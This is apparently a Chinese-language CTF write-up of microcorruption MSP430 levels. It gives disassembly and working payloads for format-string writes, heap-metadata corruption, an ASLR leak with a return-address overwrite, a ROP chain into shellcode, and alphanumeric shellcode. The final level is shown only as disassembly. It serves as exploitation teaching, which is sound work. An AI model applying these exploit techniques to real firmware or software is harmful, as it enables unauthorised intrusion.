4486:  b012 5045      call	#0x4550 <putchar>
448a:  8193 0000      tst	0x0(sp)
448e:  0324           jz	#0x4496 <main+0x5e>
4490:  b012 da44      call	#0x44da <unlock_door>
4494:  053c           jmp	#0x44a0 <main+0x68>
4496:  3012 1f45      push	#0x451f "That entry is not valid."
449a:  b012 c845      call	#0x45c8 <printf>
449e:  2153           incd	sp
44a0:  0f43           clr	r15
44a2:  3150 1600      add	#0x16, sp

标准的格式化字符串漏洞

用%n往栈上0x0(sp)写数字

aaaa%x,%x,%x,%x,%x确定偏移为0

b 448a确定sp=0x3ae0,随便往这个地址里写点啥让其不为零即可

payload=p16(0x3ae0)+'%10c%n'

得到payload,这里还是字符方便点

à:%10c%n

[0x0c] Novosibirsk - 40pts

4438 <main>
4438:  0441           mov	sp, r4
443a:  2453           incd	r4
443c:  3150 0cfe      add	#0xfe0c, sp
4440:  3012 da44      push	#0x44da "Enter your username below to authenticate.\n"
4444:  b012 c645      call	#0x45c6 <printf>
4448:  b140 0645 0000 mov	#0x4506 ">> ", 0x0(sp)
444e:  b012 c645      call	#0x45c6 <printf>
4452:  2153           incd	sp
4454:  3e40 f401      mov	#0x1f4, r14
4458:  3f40 0024      mov	#0x2400, r15
445c:  b012 8a45      call	#0x458a <getsn>
4460:  3e40 0024      mov	#0x2400, r14
4464:  0f44           mov	r4, r15
4466:  3f50 0afe      add	#0xfe0a, r15
446a:  b012 dc46      call	#0x46dc <strcpy>
446e:  3f40 0afe      mov	#0xfe0a, r15
4472:  0f54           add	r4, r15
4474:  0f12           push	r15
4476:  b012 c645      call	#0x45c6 <printf>
447a:  2153           incd	sp
447c:  3f40 0a00      mov	#0xa, r15
4480:  b012 4e45      call	#0x454e <putchar>
4484:  0f44           mov	r4, r15
4486:  3f50 0afe      add	#0xfe0a, r15
448a:  b012 b044      call	#0x44b0 <conditional_unlock_door>
448e:  0f93           tst	r15
4490:  0324           jz	#0x4498 <main+0x60>
4492:  3012 0a45      push	#0x450a "Access Granted!"
4496:  023c           jmp	#0x449c <main+0x64>
4498:  3012 1a45      push	#0x451a "That username is not valid."
449c:  b012 c645      call	#0x45c6 <printf>
44a0:  0f43           clr	r15
44a2:  3150 f601      add	#0x1f6, sp

还是格式化字符串,但是需要自己劫持控制流

第一想法是修改ret地址为int,修改ret地址+2的地方为0x7f,但是这里入口函数居然就是main函数,没有ret可以劫持

想到这里似乎也没有代码页的区分,更别提读写保护,直接改代码段试试

44b0 <conditional_unlock_door>
44b0:  0412           push	r4
44b2:  0441           mov	sp, r4
44b4:  2453           incd	r4
44b6:  2183           decd	sp
44b8:  c443 fcff      mov.b	#0x0, -0x4(r4)
44bc:  3e40 fcff      mov	#0xfffc, r14
44c0:  0e54           add	r4, r14
44c2:  0e12           push	r14
44c4:  0f12           push	r15
44c6:  3012 7e00      push	#0x7e
44ca:  b012 3645      call	#0x4536 <INT>
44ce:  5f44 fcff      mov.b	-0x4(r4), r15
44d2:  8f11           sxt	r15
44d4:  3152           add	#0x8, sp
44d6:  3441           pop	r4
44d8:  3041           ret

把44c8改成0x7f , %c在这里不太好使,故直接padding

aaÈDaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%c%n

[0x0d] Algiers - 100pts

heap overflow

引入了简易的堆管理

4464 <malloc>
4464:  0b12           push	r11
4466:  c293 0424      tst.b	&0x2404
446a:  0f24           jz	#0x448a <malloc+0x26>
446c:  1e42 0024      mov	&0x2400, r14
4470:  8e4e 0000      mov	r14, 0x0(r14)
4474:  8e4e 0200      mov	r14, 0x2(r14)
4478:  1d42 0224      mov	&0x2402, r13
447c:  3d50 faff      add	#0xfffa, r13
4480:  0d5d           add	r13, r13
4482:  8e4d 0400      mov	r13, 0x4(r14)
4486:  c243 0424      mov.b	#0x0, &0x2404
448a:  1b42 0024      mov	&0x2400, r11
448e:  0e4b           mov	r11, r14
4490:  1d4e 0400      mov	0x4(r14), r13
4494:  1db3           bit	#0x1, r13
4496:  2820           jnz	#0x44e8 <malloc+0x84>
4498:  0c4d           mov	r13, r12
449a:  12c3           clrc
449c:  0c10           rrc	r12
449e:  0c9f           cmp	r15, r12
44a0:  2338           jl	#0x44e8 <malloc+0x84>
44a2:  0b4f           mov	r15, r11
44a4:  3b50 0600      add	#0x6, r11
44a8:  0c9b           cmp	r11, r12
44aa:  042c           jc	#0x44b4 <malloc+0x50>
44ac:  1dd3           bis	#0x1, r13
44ae:  8e4d 0400      mov	r13, 0x4(r14)
44b2:  163c           jmp	#0x44e0 <malloc+0x7c>
44b4:  0d4f           mov	r15, r13
44b6:  0d5d           add	r13, r13
44b8:  1dd3           bis	#0x1, r13
44ba:  8e4d 0400      mov	r13, 0x4(r14)
44be:  0d4e           mov	r14, r13
44c0:  3d50 0600      add	#0x6, r13
44c4:  0d5f           add	r15, r13
44c6:  8d4e 0000      mov	r14, 0x0(r13)
44ca:  9d4e 0200 0200 mov	0x2(r14), 0x2(r13)
44d0:  0c8f           sub	r15, r12
44d2:  3c50 faff      add	#0xfffa, r12
44d6:  0c5c           add	r12, r12
44d8:  8d4c 0400      mov	r12, 0x4(r13)
44dc:  8e4d 0200      mov	r13, 0x2(r14)
44e0:  0f4e           mov	r14, r15
44e2:  3f50 0600      add	#0x6, r15
44e6:  0e3c           jmp	#0x4504 <malloc+0xa0> ;success
44e8:  0d4e           mov	r14, r13
44ea:  1e4e 0200      mov	0x2(r14), r14
44ee:  0e9d           cmp	r13, r14
44f0:  0228           jnc	#0x44f6 <malloc+0x92>
44f2:  0e9b           cmp	r11, r14
44f4:  cd23           jne	#0x4490 <malloc+0x2c>
44f6:  3f40 4a44      mov	#0x444a "Heap exausted; aborting.", r15
44fa:  b012 1a47      call	#0x471a <puts>
44fe:  3040 4044      br	#0x4440 <__stop_progExec__>
4502:  0f43           clr	r15
4504:  3b41           pop	r11
4506:  3041           ret
4508 <free>
4508:  0b12           push	r11
450a:  3f50 faff      add	#0xfffa, r15
450e:  1d4f 0400      mov	0x4(r15), r13
4512:  3df0 feff      and	#0xfffe, r13
4516:  8f4d 0400      mov	r13, 0x4(r15)
451a:  2e4f           mov	@r15, r14
451c:  1c4e 0400      mov	0x4(r14), r12
4520:  1cb3           bit	#0x1, r12
4522:  0d20           jnz	#0x453e <free+0x36>
4524:  3c50 0600      add	#0x6, r12
4528:  0c5d           add	r13, r12
452a:  8e4c 0400      mov	r12, 0x4(r14)
452e:  9e4f 0200 0200 mov	0x2(r15), 0x2(r14)
4534:  1d4f 0200      mov	0x2(r15), r13
4538:  8d4e 0000      mov	r14, 0x0(r13)
453c:  2f4f           mov	@r15, r15
453e:  1e4f 0200      mov	0x2(r15), r14
4542:  1d4e 0400      mov	0x4(r14), r13
4546:  1db3           bit	#0x1, r13
4548:  0b20           jnz	#0x4560 <free+0x58>
454a:  1d5f 0400      add	0x4(r15), r13
454e:  3d50 0600      add	#0x6, r13
4552:  8f4d 0400      mov	r13, 0x4(r15)
4556:  9f4e 0200 0200 mov	0x2(r14), 0x2(r15)
455c:  8e4f 0000      mov	r15, 0x0(r14)
4560:  3b41           pop	r11
4562:  3041           ret

动调查看堆块头结构为6字节

0824 1e24 2100
p16(prev)+p16(next)+p16(size&inuse)

0-1字节是前块地址

2-3字节是后块地址

4-5字节是对其的大小和最后一位的inuse位

在free函数中还有堆块合并机制

在inuse为1的情况下,free这个区块就会根据metadata里的前指针往前合并

463a <login>
463a:  0b12           push	r11
463c:  0a12           push	r10
463e:  3f40 1000      mov	#0x10, r15
4642:  b012 6444      call	#0x4464 <malloc>
4646:  0a4f           mov	r15, r10
4648:  3f40 1000      mov	#0x10, r15
464c:  b012 6444      call	#0x4464 <malloc>
4650:  0b4f           mov	r15, r11
4652:  3f40 9a45      mov	#0x459a, r15
4656:  b012 1a47      call	#0x471a <puts>
465a:  3f40 c845      mov	#0x45c8, r15
465e:  b012 1a47      call	#0x471a <puts>
4662:  3e40 3000      mov	#0x30, r14
4666:  0f4a           mov	r10, r15
4668:  b012 0a47      call	#0x470a <getsn>
466c:  3f40 c845      mov	#0x45c8, r15
4670:  b012 1a47      call	#0x471a <puts>
4674:  3f40 d445      mov	#0x45d4, r15
4678:  b012 1a47      call	#0x471a <puts>
467c:  3e40 3000      mov	#0x30, r14
4680:  0f4b           mov	r11, r15
4682:  b012 0a47      call	#0x470a <getsn>
4686:  0f4b           mov	r11, r15
4688:  b012 7045      call	#0x4570 <test_password_valid>
468c:  0f93           tst	r15
468e:  0524           jz	#0x469a <login+0x60>
4690:  b012 6445      call	#0x4564 <unlock_door>
4694:  3f40 0b46      mov	#0x460b, r15
4698:  023c           jmp	#0x469e <login+0x64>
469a:  3f40 1b46      mov	#0x461b, r15
469e:  b012 1a47      call	#0x471a <puts>
46a2:  0f4b           mov	r11, r15
46a4:  b012 0845      call	#0x4508 <free>
46a8:  0f4a           mov	r10, r15
46aa:  b012 0845      call	#0x4508 <free>
46ae:  3a41           pop	r10
46b0:  3b41           pop	r11
46b2:  3041           ret

两次读取都溢出了,因此可以改到下一个块的metadata

如果可控malloc那改掉topchunk的next指针造成任意分配,分配到返回地址处直接覆写

但是这里复写完直接连续free掉了,free的顺序和malloc时相反,那就可以利用merge机制里写回metadata的方法任意地址写值了

2440:   *
4390:   0000 0000 5046 0000 0000 4044 0000 0000   ....PF....@D....
43a0:   *

我们需要0x439a的值从4404改成4564,那就需要使其被作为size,merge后增加0x4564-0x4440大小的空间,算上0x6的metadata,需要一个也就是通过伪造一个0x11e大小的inuse chunk,并且prev为0x439a-0x4,这样在free这个区块时就会触发merge,对指定地址修改数值了

9643 3424 1f01
...
1e24 0824 01
username:
4141 4141 4141 4141 4141 4141 4141 4141 9643 3424 1f01
password:
4141 4141 4141 4141 4141 4141 4141 4141 1e24 0824 01

[0x0e] Vladivostok - 100pts

bypass aslr

在固件内部通过PIC方法实现了ASLR,简单有趣

核心逻辑伪代码如下

void main(){
	r11=rand()-1+0x6000; #new text base
	r10=rand();
	memcpy(r11,text_seg,0x1000);
	r15=r10-1;
	r14=r11-r15-0x100;
    r13=r11+0x35c; #<aslr_main>
    sp=r14;
    r13(r11)
}
void aslr_main(r11){
    r14=r11+0x82; #<_aslr_main>
    r14(r11);
    sr^=0xf0;
}
void _aslr_main(r15){
    r12=r15+0x36a;
    _memset(0x4000,0,0x1000);#clear old text
    _strcpy(0x2402,"Username (8 char max):");
    *(0x2400)=0x17;
    gets(0x2406);
    printf(0x2406);
    #...
    #stack migration to base-0x300
	gets(sp);
    ...
    ret;
}

通过格式化字符串得到随即后的代码基址然后正常ret2text

这个web界面的disassembly不能设置,迁移后就没法看了,调试起来太坑

%x%x

测得偏移2有可用地址

例如这里打印出

0000cdf2

此时从memory dump中看到的程序基址是ca88

>>> 0xca88-0xcdf2
-874
>>> hex(0xca88-0xcdf2)
'-0x36a'

而程序基址到INT的偏移为

>>> hex(0x4400-0x48ec)
'-0x4ec'

那么

textbase=leak-0x36a
rebase_int=textbase+0x4ec

简化一下就是把返回地址覆盖成 leak+0x170

调试的时候发现实际上是0x182

payload='a'*8+p16(leak+0x182)+'aa'+p8(0x7f)
username:
%x%x
password:
6161 6161 6161 6161 {leak+0x182} 6262 7f

[0x0f] Bangalore - 100pts

bypass dep/nx

44de <set_up_protection>
44de:  0b12           push	r11
44e0:  0f43           clr	r15
44e2:  b012 b444      call	#0x44b4 <mark_page_executable>
44e6:  1b43           mov	#0x1, r11
44e8:  0f4b           mov	r11, r15
44ea:  b012 9c44      call	#0x449c <mark_page_writable>
44ee:  1b53           inc	r11
44f0:  3b90 4400      cmp	#0x44, r11
44f4:  f923           jne	#0x44e8 <set_up_protection+0xa>
44f6:  0f4b           mov	r11, r15
44f8:  b012 b444      call	#0x44b4 <mark_page_executable>
44fc:  1b53           inc	r11
44fe:  3b90 0001      cmp	#0x100, r11
4502:  f923           jne	#0x44f6 <set_up_protection+0x18>
4504:  b012 cc44      call	#0x44cc <turn_on_dep>
4508:  3b41           pop	r11
450a:  3041           ret
450c:  3041           ret

终于把芯片里的内存保护功能开起来了,对相应的段设置了权限

直接构造ROPchain

先调用mark_page_executable给我们输入的位置可执行权限然后再跳转到输入的shellcode上

查手册发现只要sr为0xff00时trap即可unlock

3240 00ff      mov	#0xff00, sr
b012 1000      call	#0x10

构造的shellcode为

3240 00ff b012 1000

溢出偏移16

payload=shellcode.ljust(16,b'a')+p16(mark_page_executable+0x6)+p16(addr)+p16(junk)+p16(shellcode_addr)
3240 00ff b012 1000 4141 4141 4141 4141 ba44 3f00 2233 ee3f

[0x10] Lagos - 150pts

strict shellcode

455e <login>
455e:  0b12           push	r11
4560:  3150 f0ff      add	#0xfff0, sp
4564:  3f40 7044      mov	#0x4470 "Enter the password to continue.", r15
4568:  b012 6046      call	#0x4660 <puts>
456c:  3f40 9044      mov	#0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4570:  b012 6046      call	#0x4660 <puts>
4574:  3f40 c544      mov	#0x44c5 "Due to some users abusing our login system, we have", r15
4578:  b012 6046      call	#0x4660 <puts>
457c:  3f40 f944      mov	#0x44f9 "restricted passwords to only alphanumeric characters.", r15
4580:  b012 6046      call	#0x4660 <puts>
4584:  3e40 0002      mov	#0x200, r14
4588:  3f40 0024      m9ov	#0x2400, r15
458c:  b012 5046      call	#0x4650 <getsn>
4590:  5f42 0024      mov.b	&0x2400, r15
4594:  0e43           clr	r14
4596:  7c40 0900      mov.b	#0x9, r12
459a:  7d40 1900      mov.b	#0x19, r13
459e:  073c           jmp	#0x45ae <login+0x50>
45a0:  0b41           mov	sp, r11
45a2:  0b5e           add	r14, r11
45a4:  cb4f 0000      mov.b	r15, 0x0(r11)
45a8:  5f4e 0024      mov.b	0x2400(r14), r15
45ac:  1e53           inc	r14
45ae:  4b4f           mov.b	r15, r11
45b0:  7b50 d0ff      add.b	#0xffd0, r11
45b4:  4c9b           cmp.b	r11, r12
45b6:  f42f           jc	#0x45a0 <login+0x42>
45b8:  7b50 efff      add.b	#0xffef, r11
45bc:  4d9b           cmp.b	r11, r13
45be:  f02f           jc	#0x45a0 <login+0x42>
45c0:  7b50 e0ff      add.b	#0xffe0, r11
45c4:  4d9b           cmp.b	r11, r13
45c6:  ec2f           jc	#0x45a0 <login+0x42>
45c8:  c143 0000      mov.b	#0x0, 0x0(sp)
45cc:  3d40 0002      mov	#0x200, r13
45d0:  0e43           clr	r14
45d2:  3f40 0024      mov	#0x2400, r15
45d6:  b012 8c46      call	#0x468c <memset>
45da:  0f41           mov	sp, r15
45dc:  b012 4644      call	#0x4446 <conditional_unlock_door>
45e0:  0f93           tst	r15
45e2:  0324           jz	#0x45ea <login+0x8c>
45e4:  3f40 2f45      mov	#0x452f "Access granted.", r15
45e8:  023c           jmp	#0x45ee <login+0x90>
45ea:  3f40 3f45      mov	#0x453f "That password is not correct.", r15
45ee:  b012 6046      call	#0x4660 <puts>
45f2:  3150 1000      add	#0x10, sp
45f6:  3b41           pop	r11
45f8:  3041           ret

只允许输入数字和字母

The instruction set (sourceforge.net)

可用的指令有 mov, add, addc subc pop ret

设置sr寄存器为0xff00

mov.b    r6, sr
add      #0x5555, sr
add      #0x5555, sr
add      #0x5456, sr

结果发现这样会触发 CPUOFF flag set; 再调整下数字

mov.b    r6, sr
add      #0x5444, sr
add      #0x5566, sr
add      #0x5556, sr

而trap在 460c上,不能直接跳转,这里有两个办法,把相对跳转分解成允许数值的步长

或者直接 mov , pc

add #0x5641, r9
add #0x5541, r9
add #0x5641, r9
add #0x4449, r9
mov @R9+,PC

或者用上subc

add #0x7a7a, r9
subc #0x346C,R9
mov @R9+,PC

得到shellcode

424632504454325066553250565539507a7a39706c343049
BF2PDT2PfU2PVU9Pzz9pl40I

溢出偏移17

但是我们的输入位置在0x43ef

需要往后padding到一个字母表范围内的地址,可以选0x4444

('a'*17+chr(0x44)+chr(0x44)).ljust(0x4444-0x43ef,'a')+'BF2PDT2PfU2PVU9Pzz9pl40I'

没打通,发现是栈太小导致padding复写到text段上了,先让其正常ret

ret
add #0x7a7a, r9
subc #0x346C,R9
mov.b    r6, sr
add      #0x5444, sr
add      #0x5566, sr
add      #0x5556, sr
mov @R9+,PC
('a'*17+chr(0x44)+chr(0x44)).ljust(0x4444-0x43ef,'a')+'0A9Pzz9pl4BF2PDT2PfU2PVU0I'
aaaaaaaaaaaaaaaaaHDaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0A9Pzz9pl4BF2PDT2PfU2PVU0I

[0x11] Chernobyl - 300pts

heap

main函数直接调用了run

4b66:  0b12           push	r11
4b68:  0a12           push	r10
4b6a:  0912           push	r9
4b6c:  0812           push	r8
4b6e:  0712           push	r7
4b70:  3150 00fa      add	#0xfa00, sp
4b74:  3e40 0500      mov	#0x5, r14
4b78:  3f40 0300      mov	#0x3, r15
4b7c:  b012 7847      call	#0x4778 <create_hash_table>
4b80:  084f           mov	r15, r8
4b82:  3f40 384a      mov	#0x4a38, r15
4b86:  b012 504d      call	#0x4d50 <puts>
4b8a:  3f40 584a      mov	#0x4a58, r15
4b8e:  b012 504d      call	#0x4d50 <puts>
4b92:  3f40 954a      mov	#0x4a95, r15
4b96:  b012 504d      call	#0x4d50 <puts>
4b9a:  0e43           clr	r14
4b9c:  3740 ff05      mov	#0x5ff, r7
4ba0:  053c           jmp	#0x4bac <run+0x46>
4ba2:  0f41           mov	sp, r15
4ba4:  0f5e           add	r14, r15
4ba6:  cf43 0000      mov.b	#0x0, 0x0(r15)
4baa:  1e53           inc	r14
4bac:  079e           cmp	r14, r7
4bae:  f937           jge	#0x4ba2 <run+0x3c>
4bb0:  3e40 5005      mov	#0x550, r14
4bb4:  0f41           mov	sp, r15
4bb6:  b012 404d      call	#0x4d40 <getsn>
4bba:  0b41           mov	sp, r11
4bbc:  923c           jmp	#0x4ce2 <run+0x17c>
4bbe:  7f90 6100      cmp.b	#0x61, r15
4bc2:  3a20           jne	#0x4c38 <run+0xd2>
4bc4:  0e4b           mov	r11, r14
4bc6:  3e50 0700      add	#0x7, r14
4bca:  0b4e           mov	r14, r11
4bcc:  073c           jmp	#0x4bdc <run+0x76>
4bce:  7f90 2000      cmp.b	#0x20, r15
4bd2:  0320           jne	#0x4bda <run+0x74>
4bd4:  cb43 0000      mov.b	#0x0, 0x0(r11)
4bd8:  043c           jmp	#0x4be2 <run+0x7c>
4bda:  1b53           inc	r11
4bdc:  6f4b           mov.b	@r11, r15
4bde:  4f93           tst.b	r15
4be0:  f623           jnz	#0x4bce <run+0x68>
4be2:  1b53           inc	r11
4be4:  0a43           clr	r10
4be6:  0b3c           jmp	#0x4bfe <run+0x98>
4be8:  0d4a           mov	r10, r13
4bea:  0d5d           add	r13, r13
4bec:  0d5d           add	r13, r13
4bee:  0d5a           add	r10, r13
4bf0:  0d5d           add	r13, r13
4bf2:  6a4b           mov.b	@r11, r10
4bf4:  8a11           sxt	r10
4bf6:  3a50 d0ff      add	#0xffd0, r10
4bfa:  0a5d           add	r13, r10
4bfc:  1b53           inc	r11
4bfe:  6f4b           mov.b	@r11, r15
4c00:  4f93           tst.b	r15
4c02:  0324           jz	#0x4c0a <run+0xa4>
4c04:  7f90 3b00      cmp.b	#0x3b, r15
4c08:  ef23           jne	#0x4be8 <run+0x82>
4c0a:  0f48           mov	r8, r15
4c0c:  b012 cc49      call	#0x49cc <get_from_table>
4c10:  3f93           cmp	#-0x1, r15
4c12:  0320           jne	#0x4c1a <run+0xb4>
4c14:  3f40 964a      mov	#0x4a96, r15
4c18:  413c           jmp	#0x4c9c <run+0x136>
4c1a:  0aef           xor	r15, r10
4c1c:  3af0 ff7f      and	#0x7fff, r10
4c20:  0820           jnz	#0x4c32 <run+0xcc>
4c22:  0f9a           cmp	r10, r15
4c24:  0334           jge	#0x4c2c <run+0xc6>
4c26:  3f40 a34a      mov	#0x4aa3, r15
4c2a:  383c           jmp	#0x4c9c <run+0x136>
4c2c:  3f40 b34a      mov	#0x4ab3, r15
4c30:  353c           jmp	#0x4c9c <run+0x136>
4c32:  3f40 de4a      mov	#0x4ade, r15
4c36:  323c           jmp	#0x4c9c <run+0x136>
4c38:  7f90 6e00      cmp.b	#0x6e, r15
4c3c:  4020           jne	#0x4cbe <run+0x158>
4c3e:  094b           mov	r11, r9
4c40:  2952           add	#0x4, r9
4c42:  0b49           mov	r9, r11
4c44:  073c           jmp	#0x4c54 <run+0xee>
4c46:  7f90 2000      cmp.b	#0x20, r15
4c4a:  0320           jne	#0x4c52 <run+0xec>
4c4c:  cb43 0000      mov.b	#0x0, 0x0(r11)
4c50:  043c           jmp	#0x4c5a <run+0xf4>
4c52:  1b53           inc	r11
4c54:  6f4b           mov.b	@r11, r15
4c56:  4f93           tst.b	r15
4c58:  f623           jnz	#0x4c46 <run+0xe0>
4c5a:  1b53           inc	r11
4c5c:  0a43           clr	r10
4c5e:  0b3c           jmp	#0x4c76 <run+0x110>
4c60:  0c4a           mov	r10, r12
4c62:  0c5c           add	r12, r12
4c64:  0c5c           add	r12, r12
4c66:  0c5a           add	r10, r12
4c68:  0c5c           add	r12, r12
4c6a:  6a4b           mov.b	@r11, r10
4c6c:  8a11           sxt	r10
4c6e:  3a50 d0ff      add	#0xffd0, r10
4c72:  0a5c           add	r12, r10
4c74:  1b53           inc	r11
4c76:  6f4b           mov.b	@r11, r15
4c78:  4f93           tst.b	r15
4c7a:  0324           jz	#0x4c82 <run+0x11c>
4c7c:  7f90 3b00      cmp.b	#0x3b, r15
4c80:  ef23           jne	#0x4c60 <run+0xfa>
4c82:  0a93           tst	r10
4c84:  0334           jge	#0x4c8c <run+0x126>
4c86:  3f40 ec4a      mov	#0x4aec, r15
4c8a:  083c           jmp	#0x4c9c <run+0x136>
4c8c:  0e49           mov	r9, r14
4c8e:  0f48           mov	r8, r15
4c90:  b012 cc49      call	#0x49cc <get_from_table>
4c94:  3f93           cmp	#-0x1, r15
4c96:  0524           jeq	#0x4ca2 <run+0x13c>
4c98:  3f40 124b      mov	#0x4b12, r15
4c9c:  b012 504d      call	#0x4d50 <puts>
4ca0:  1c3c           jmp	#0x4cda <run+0x174>
4ca2:  0a12           push	r10
4ca4:  0912           push	r9
4ca6:  3012 2f4b      push	#0x4b2f
4caa:  b012 4844      call	#0x4448 <printf>
4cae:  3150 0600      add	#0x6, sp
4cb2:  0d4a           mov	r10, r13
4cb4:  0e49           mov	r9, r14
4cb6:  0f48           mov	r8, r15
4cb8:  b012 3248      call	#0x4832 <add_to_table>
4cbc:  0e3c           jmp	#0x4cda <run+0x174>
4cbe:  3f40 544b      mov	#0x4b54, r15
4cc2:  b012 504d      call	#0x4d50 <puts>
4cc6:  1f43           mov	#0x1, r15
4cc8:  3150 0006      add	#0x600, sp
4ccc:  3741           pop	r7
4cce:  3841           pop	r8
4cd0:  3941           pop	r9
4cd2:  3a41           pop	r10
4cd4:  3b41           pop	r11
4cd6:  3041           ret
4cd8:  1b53           inc	r11
4cda:  fb90 3b00 0000 cmp.b	#0x3b, 0x0(r11)
4ce0:  fb27           jeq	#0x4cd8 <run+0x172>
4ce2:  6f4b           mov.b	@r11, r15
4ce4:  4f93           tst.b	r15
4ce6:  6b23           jnz	#0x4bbe <run+0x58>
4ce8:  0e43           clr	r14
4cea:  603f           jmp	#0x4bac <run+0x46>
480e <hash>
480e:  0e4f           mov	r15, r14
4810:  0f43           clr	r15
4812:  0b3c           jmp	#0x482a <hash+0x1c>
4814:  6d4e           mov.b	@r14, r13
4816:  8d11           sxt	r13
4818:  0d5f           add	r15, r13
481a:  0f4d           mov	r13, r15
481c:  0f5f           add	r15, r15
481e:  0f5f           add	r15, r15
4820:  0f5f           add	r15, r15
4822:  0f5f           add	r15, r15
4824:  0f5f           add	r15, r15
4826:  0f8d           sub	r13, r15
4828:  1e53           inc	r14
482a:  ce93 0000      tst.b	0x0(r14)
482e:  f223           jnz	#0x4814 <hash+0x6>
4830:  3041           ret
4832 <add_to_table>
4832:  0b12           push	r11
4834:  0a12           push	r10
4836:  0912           push	r9
4838:  0b4f           mov	r15, r11
483a:  0a4e           mov	r14, r10
483c:  094d           mov	r13, r9
483e:  1e4f 0200      mov	0x2(r15), r14
4842:  1c4f 0400      mov	0x4(r15), r12
4846:  0f4e           mov	r14, r15
4848:  0f93           tst	r15
484a:  0324           jz	#0x4852 <add_to_table+0x20>
484c:  0c5c           add	r12, r12
484e:  1f83           dec	r15
4850:  fd23           jnz	#0x484c <add_to_table+0x1a>
4852:  0c93           tst	r12
4854:  0234           jge	#0x485a <add_to_table+0x28>
4856:  3c50 0300      add	#0x3, r12
485a:  0c11           rra	r12
485c:  0c11           rra	r12
485e:  2c9b           cmp	@r11, r12
4860:  0434           jge	#0x486a <add_to_table+0x38>
4862:  1e53           inc	r14
4864:  0f4b           mov	r11, r15
4866:  b012 d448      call	#0x48d4 <rehash>
486a:  9b53 0000      inc	0x0(r11)
486e:  0f4a           mov	r10, r15
4870:  b012 0e48      call	#0x480e <hash>
4874:  1c43           mov	#0x1, r12
4876:  1e4b 0200      mov	0x2(r11), r14
487a:  0e93           tst	r14
487c:  0324           jz	#0x4884 <add_to_table+0x52>
487e:  0c5c           add	r12, r12
4880:  1e83           dec	r14
4882:  fd23           jnz	#0x487e <add_to_table+0x4c>
4884:  3c53           add	#-0x1, r12
4886:  0cff           and	r15, r12
4888:  0c5c           add	r12, r12
488a:  1f4b 0800      mov	0x8(r11), r15
488e:  0f5c           add	r12, r15
4890:  2e4f           mov	@r15, r14
4892:  1b4b 0600      mov	0x6(r11), r11
4896:  0b5c           add	r12, r11
4898:  0c4e           mov	r14, r12
489a:  0c5c           add	r12, r12
489c:  0c5c           add	r12, r12
489e:  0c5c           add	r12, r12
48a0:  0c5e           add	r14, r12
48a2:  0c5c           add	r12, r12
48a4:  2c5b           add	@r11, r12
48a6:  1e53           inc	r14
48a8:  8f4e 0000      mov	r14, 0x0(r15)
48ac:  0f43           clr	r15
48ae:  093c           jmp	#0x48c2 <add_to_table+0x90>
48b0:  0b4c           mov	r12, r11
48b2:  0b5f           add	r15, r11
48b4:  cb4e 0000      mov.b	r14, 0x0(r11)
48b8:  1f53           inc	r15
48ba:  3f90 0f00      cmp	#0xf, r15
48be:  0424           jeq	#0x48c8 <add_to_table+0x96>
48c0:  1a53           inc	r10
48c2:  6e4a           mov.b	@r10, r14
48c4:  4e93           tst.b	r14
48c6:  f423           jnz	#0x48b0 <add_to_table+0x7e>
48c8:  8c49 1000      mov	r9, 0x10(r12)
48cc:  3941           pop	r9
48ce:  3a41           pop	r10
48d0:  3b41           pop	r11
48d2:  3041           ret
48d4 <rehash>
48d4:  0b12           push	r11
48d6:  0a12           push	r10
48d8:  0912           push	r9
48da:  0812           push	r8
48dc:  0712           push	r7
48de:  0612           push	r6
48e0:  0512           push	r5
48e2:  0412           push	r4
48e4:  2183           decd	sp
48e6:  0b4f           mov	r15, r11
48e8:  164f 0200      mov	0x2(r15), r6
48ec:  154f 0600      mov	0x6(r15), r5
48f0:  144f 0800      mov	0x8(r15), r4
48f4:  8f4e 0200      mov	r14, 0x2(r15)
48f8:  8f43 0000      clr	0x0(r15)
48fc:  2a43           mov	#0x2, r10
48fe:  0e93           tst	r14
4900:  0324           jz	#0x4908 <rehash+0x34>
4902:  0a5a           add	r10, r10
4904:  1e83           dec	r14
4906:  fd23           jnz	#0x4902 <rehash+0x2e>
4908:  0f4a           mov	r10, r15
490a:  b012 7846      call	#0x4678 <malloc>
490e:  8b4f 0600      mov	r15, 0x6(r11)
4912:  0f4a           mov	r10, r15
4914:  b012 7846      call	#0x4678 <malloc>
4918:  8b4f 0800      mov	r15, 0x8(r11)
491c:  0a43           clr	r10
491e:  1843           mov	#0x1, r8
4920:  173c           jmp	#0x4950 <rehash+0x7c>
4922:  094a           mov	r10, r9
4924:  0959           add	r9, r9
4926:  174b 0600      mov	0x6(r11), r7
492a:  0759           add	r9, r7
492c:  1f4b 0400      mov	0x4(r11), r15
4930:  0e4f           mov	r15, r14
4932:  0e5e           add	r14, r14
4934:  0e5e           add	r14, r14
4936:  0e5e           add	r14, r14
4938:  0e5f           add	r15, r14
493a:  0f4e           mov	r14, r15
493c:  0f5f           add	r15, r15
493e:  b012 7846      call	#0x4678 <malloc>
4942:  874f 0000      mov	r15, 0x0(r7)
4946:  195b 0800      add	0x8(r11), r9
494a:  8943 0000      clr	0x0(r9)
494e:  1a53           inc	r10
4950:  1d4b 0200      mov	0x2(r11), r13
4954:  0e48           mov	r8, r14
4956:  0d93           tst	r13
4958:  0324           jz	#0x4960 <rehash+0x8c>
495a:  0e5e           add	r14, r14
495c:  1d83           dec	r13
495e:  fd23           jnz	#0x495a <rehash+0x86>
4960:  0a9e           cmp	r14, r10
4962:  df3b           jl	#0x4922 <rehash+0x4e>
4964:  0f46           mov	r6, r15
4966:  1e43           mov	#0x1, r14
4968:  0f93           tst	r15
496a:  0324           jz	#0x4972 <rehash+0x9e>
496c:  0e5e           add	r14, r14
496e:  1f83           dec	r15
4970:  fd23           jnz	#0x496c <rehash+0x98>
4972:  814e 0000      mov	r14, 0x0(sp)
4976:  0a45           mov	r5, r10
4978:  0944           mov	r4, r9
497a:  0743           clr	r7
497c:  153c           jmp	#0x49a8 <rehash+0xd4>
497e:  2e4a           mov	@r10, r14
4980:  0e58           add	r8, r14
4982:  1d4e 1000      mov	0x10(r14), r13
4986:  0f4b           mov	r11, r15
4988:  b012 3248      call	#0x4832 <add_to_table>
498c:  1653           inc	r6
498e:  3850 1200      add	#0x12, r8
